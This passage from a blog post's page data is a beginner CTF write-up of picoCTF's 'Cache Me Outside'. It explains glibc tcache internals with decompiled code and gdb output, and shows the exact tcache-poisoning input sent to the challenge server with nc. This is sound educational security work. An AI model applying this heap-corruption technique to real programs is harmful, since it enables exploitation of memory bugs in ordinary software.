480w,\n/static/3103d802e2ffbdf1544b4570ffe0618b/e46b2/image-20220710150640402.webp 960w,\n/static/3103d802e2ffbdf1544b4570ffe0618b/893d8/image-20220710150640402.webp 1070w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/3103d802e2ffbdf1544b4570ffe0618b/8ff5a/image-20220710150640402.png 240w,\n/static/3103d802e2ffbdf1544b4570ffe0618b/e85cb/image-20220710150640402.png 480w,\n/static/3103d802e2ffbdf1544b4570ffe0618b/d9199/image-20220710150640402.png 960w,\n/static/3103d802e2ffbdf1544b4570ffe0618b/121b3/image-20220710150640402.png 1070w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/3103d802e2ffbdf1544b4570ffe0618b/d9199/image-20220710150640402.png\"\n            alt=\"image-20220710150640402\"\n            title=\"image-20220710150640402\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>We can also see that the addresses returned by the 8th and 9th <code class=\"language-text\">malloc</code> are identical.</p>\n<p>I then checked what was happening here.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\">local_98 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>undefined8 <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token function\">malloc</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x80</span><span class=\"token punctuation\">)</span> <span class=\"token comment\">// The flag is stored here</span>\nlocal_88 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>undefined8 <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token function\">malloc</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x80</span><span class=\"token punctuation\">)</span> <span class=\"token comment\">// A dummy string is stored here</span>\n\n<span class=\"token comment\">// free() links them into tcache in the order local_88 -> local_98</span>\n<span class=\"token function\">free</span><span class=\"token punctuation\">(</span>local_98<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token function\">free</span><span class=\"token punctuation\">(</span>local_88<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token comment\">// Allocate from tcache and print the contents (normally the dummy string is displayed)</span>\nlocal_80 <span class=\"token operator\">=</span> <span class=\"token function\">malloc</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x80</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token function\">puts</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span>local_80 <span class=\"token operator\">+</span> <span class=\"token number\">0x10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p>From the above, it seems that if we can reference the chunk for <code class=\"language-text\">local_98</code>, which is linked into tcache, we can recover the flag.</p>\n<p>As mentioned above, when allocating Heap from tcache, <code class=\"language-text\">tcache_get</code> is used.</p>\n<p>In other words, the chunk returned by <code class=\"language-text\">malloc()</code> becomes the head of <code class=\"language-text\">tcache->entries[tc_idx]</code>.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token comment\">/* Caller must ensure that we know tc_idx is valid and there's\n   available chunks to remove.  */</span>\n<span class=\"token keyword\">static</span> __always_inline <span class=\"token keyword\">void</span> <span class=\"token operator\">*</span>\n<span class=\"token function\">tcache_get</span> <span class=\"token punctuation\">(</span><span class=\"token class-name\">size_t</span> tc_idx<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n  tcache_entry <span class=\"token operator\">*</span>e <span class=\"token operator\">=</span> tcache<span class=\"token operator\">-></span>entries<span class=\"token punctuation\">[</span>tc_idx<span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token function\">__glibc_unlikely</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">!</span><span class=\"token function\">aligned_OK</span> <span class=\"token punctuation\">(</span>e<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    <span class=\"token function\">malloc_printerr</span> <span class=\"token punctuation\">(</span><span class=\"token string\">\"malloc(): unaligned tcache chunk detected\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  tcache<span class=\"token operator\">-></span>entries<span class=\"token punctuation\">[</span>tc_idx<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token function\">REVEAL_PTR</span> <span class=\"token punctuation\">(</span>e<span class=\"token operator\">-></span>next<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token operator\">--</span><span class=\"token punctuation\">(</span>tcache<span class=\"token operator\">-></span>counts<span class=\"token punctuation\">[</span>tc_idx<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  e<span class=\"token operator\">-></span>key <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n  <span class=\"token keyword\">return</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">void</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span> e<span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>From this, we can see that the address we need to overwrite to recover the flag is the address of <code class=\"language-text\">tcache->entries[tc_idx]</code>, and the value we need to write there is <code class=\"language-text\">tcache->entries[tc_idx]->next</code>.</p>\n<p>So I recovered the flag with the following steps.</p>\n<ol>\n<li>Obtain the address of <code class=\"language-text\">tcache->entries[tc_idx]</code></li>\n<li>Determine the address of <code class=\"language-text\">tcache->entries[tc_idx]->next</code></li>\n<li>Overwrite <code class=\"language-text\">tcache->entries[tc_idx]</code> with <code class=\"language-text\">tcache->entries[tc_idx]->next</code></li>\n</ol>\n<p>First, to find the address of <code class=\"language-text\">tcache->entries[tc_idx]</code>, since PIE is disabled it is expected not to change from the address returned by the final <code class=\"language-text\">malloc()</code>.</p>\n<p>Therefore, I used gdb-peda to search for <code class=\"language-text\">0x603890</code>, the address of the chunk that the final <code class=\"language-text\">malloc()</code> obtains from tcache.</p>\n<p>As a result, I found that <code class=\"language-text\">0x602088</code> is (probably) the address of <code class=\"language-text\">tcache->entries</code>, and <code class=\"language-text\">0x603800</code> is the chunk containing the flag.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">$ searchmem 0x603890\nSearching <span class=\"token keyword\">for</span> <span class=\"token string\">'0x603890'</span> in: None ranges\nFound <span class=\"token number\">3</span> results, display max <span class=\"token number\">3</span> items:\n <span class=\"token punctuation\">[</span>heap<span class=\"token punctuation\">]</span> <span class=\"token builtin class-name\">:</span> 0x602088 --<span class=\"token operator\">></span> 0x603890 --<span class=\"token operator\">></span> 0x603800 --<span class=\"token operator\">></span> 0x0 \n<span class=\"token punctuation\">[</span>stack<span class=\"token punctuation\">]</span> <span class=\"token builtin class-name\">:</span> 0x7fffffffda30 --<span class=\"token operator\">></span> 0x603890 --<span class=\"token operator\">></span> 0x603800 --<span class=\"token operator\">></span> 0x0 \n<span class=\"token punctuation\">[</span>stack<span class=\"token punctuation\">]</span> <span class=\"token builtin class-name\">:</span> 0x7fffffffde10 --<span class=\"token operator\">></span> 0x603890 --<span class=\"token operator\">></span> 0x603800 --<span class=\"token operator\">></span> 0x0</code></pre></div>\n<p>We can indeed confirm that the flag is stored at <code class=\"language-text\">0x603800</code>.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">$ x/s 0x603800+0x8\n0x603808:       <span class=\"token string\">\"! Your flag is: picoCTF{testflag}<span class=\"token entity\" title=\"\\n\">\\n</span>\"</span></code></pre></div>\n<p>From here, the address we want to overwrite is <code class=\"language-text\">0x602088</code>, and it looks like we can recover the flag by changing the value at this address to <code class=\"language-text\">0x603800</code>.</p>\n<p>The address overwrite is performed here.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\">  <span class=\"token function\">puts</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"You may edit one byte in the program.\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token function\">printf</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Address: \"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token function\">__isoc99_scanf</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>DAT_00400b48<span class=\"token punctuation\">,</span><span class=\"token operator\">&amp;</span>local_a8<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token function\">printf</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Value: \"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token function\">__isoc99_scanf</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>DAT_00400b53<span class=\"token punctuation\">,</span><span class=\"token operator\">&amp;</span>local_a9<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span>undefined <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span>local_a8 <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span><span class=\"token punctuation\">)</span>local_a0<span class=\"token punctuation\">)</span> <span class=\"token operator\">=</span> local_a9<span class=\"token punctuation\">;</span></code></pre></div>\n<p><code class=\"language-text\">local_a0</code> contains <code class=\"language-text\">0x6034a0</code>, so by entering <code class=\"language-text\">0x602088-0x6034a0 = -5144</code>, we can tamper with <code class=\"language-text\">0x602088</code>.</p>\n<p>So by giving <code class=\"language-text\">-5144</code> as the first input and <code class=\"language-text\">\\x00\\x38\\x60\\x00</code> as the second input, we can poison tcache and recover the flag.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">$ python -c <span class=\"token string\">'import sys; sys.stdout.buffer.write(b\"-5144\\n\" + b\"\\x00\\x38\\x60\\x00\")'</span> <span class=\"token operator\">></span> input\n\n$ ./heapedit_patched <span class=\"token operator\">&lt;</span> input \nYou may edit one byte <span class=\"token keyword\">in</span> the program.\nAddress: Value: lag is: picoCTF<span class=\"token punctuation\">{</span>testflag<span class=\"token punctuation\">}</span></code></pre></div>\n<p>Finally, by sending this input to the remote server, I was able to recover the flag.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">$ <span class=\"token function\">nc</span> mercury.picoctf.net <span class=\"token number\">17612</span> <span class=\"token operator\">&lt;</span> input \nYou may edit one byte <span class=\"token keyword\">in</span> the program.\nAddress: Value: lag is: picoCTF<span class=\"token punctuation\">{</span> XXXXXXXXXXXXXXXXXXXX <span class=\"token punctuation\">}</span></code></pre></div>\n<p>Reference: <a href=\"https://cashitsuki.com/posts/2021-12-24-picoCTF-Cache-Me-Outside-writeup/\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">picoCTF “Cache Me Outside” writeup</a></p>\n<h2 id=\"summary\" style=\"position:relative;\"><a href=\"#summary\" aria-label=\"summary permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Summary</h2>\n<p>Heap is really hard…</p>\n<h2 id=\"references\" style=\"position:relative;\"><a href=\"#references\" aria-label=\"references permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>References</h2>\n<ul>\n<li><a href=\"https://amzn.to/3AEtVa7\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">詳解セキュリティコンテスト</a></li>\n<li><a href=\"https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/bins_chunks\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Bins and Chunks - heap-exploitation</a></li>\n</ul>","fields":{"slug":"/ctf-learning-heap-en","tagSlugs":["/tag/ctf-en/","/tag/pwn-en/","/tag/heap-en/","/tag/english/"]},"frontmatter":{"date":"2022-07-06","description":"Notes on learning about glibc's malloc function for CTF purposes.","tags":["CTF (en)","Pwn (en)","Heap (en)","English"],"title":"Notes Toward a Complete Understanding of Heap for Beginner CTF Players","socialImage":{"publicURL":"/static/e4fb140badf74c73bc7e4cdf320dbaf5/ctf-learning-heap.png"}}}},"pageContext":{"slug":"/ctf-learning-heap-en"}},"staticQueryHashes":["251939775","401334301","825871152"]}